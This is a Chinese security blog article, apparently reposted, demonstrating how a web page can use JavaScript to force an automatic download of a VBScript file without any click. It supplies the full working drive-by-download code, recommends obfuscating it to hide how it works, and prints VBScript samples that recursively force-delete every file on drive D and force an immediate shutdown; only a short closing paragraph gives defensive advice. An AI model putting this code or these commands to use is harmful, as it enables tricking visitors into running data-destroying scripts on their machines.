JavaScript黑魔法:不可阻止的“自动下载”
2023-1-16 16:49:4 Author: 星冥安全(查看原文) 阅读量:24 收藏

正常情况下,当我们想要从网站下载某个文件时,一定是需要主动点击,才能出现下载操作。这是理所当然的。

但你是否遇到过这样一种场景:当打开某个网页时,未进行任何点击,然而后台自动下载了一个文件!

很可怕吧,像是种不可思议的黑魔法。但这是真实可以实现的,用JavaScript即可实现。

实现效果:

且看本演示:打开页面,后台自动下载了一个vbs文件。点击下载后的文件,vbs脚本文件被执行,弹出了一个hello窗口。如下:

由于是vbs脚本,因此,如果点击该文件,文件会被打开并执行:

选择打开,脚本被执行:

如页面源码所示,本示例,只是执行一句msgbox(“hello”)。

源码:

效果很不可思议,但实现的源码却很简单,完整代码如下,保存为html文件打开即可执行。

<html>
<script>
var blob = new Blob(['msgbox("hello")'],{type:'application/vbs'});
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download = 'game.vbs';
a.click();
</script>
</html>

而如果要防止他人查看源码、了解实现原理,可以对源码中的JavaScript代码混淆加密。

比如使用JShaman平台,对上述代码加密:

加密后的代码:

Msgbox仅是一个弹窗,而vbs是可以实现很多强大而可怕的功能的。

比如:

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c “”del d:\*.* / f /q /s”””,0 ,true

又如:

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “shutdown -f -s -t 00”,0 ,true

能读懂这两段vbs脚本的话,可知:脚本执行可能带来很危险的后果。甚至可能下载其它的Exe并执行,等等。

防护:

如何防止这种威胁?文件是可能被自动下载的,不仅仅是vbs脚本,exe也可能。但只要不点击,便不会执行。因此,需增强安全意识,对于不明来源的文件:不点击、不打开、不执行。

本文作者:w2sfoot, 转载请注明来自FreeBuf.COMhttps://www.freebuf.com/articles/web/325024.html

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247488070&idx=1&sn=ee0e0ba304b5317918aaa70cf8fee9ed&chksm=c12c2480f65bad96288e363f60c2b008e6c5569fe2a872bd4cf3f50f6522b44866dcd0733f49#rd
如有侵权请联系:admin#unsafe.sh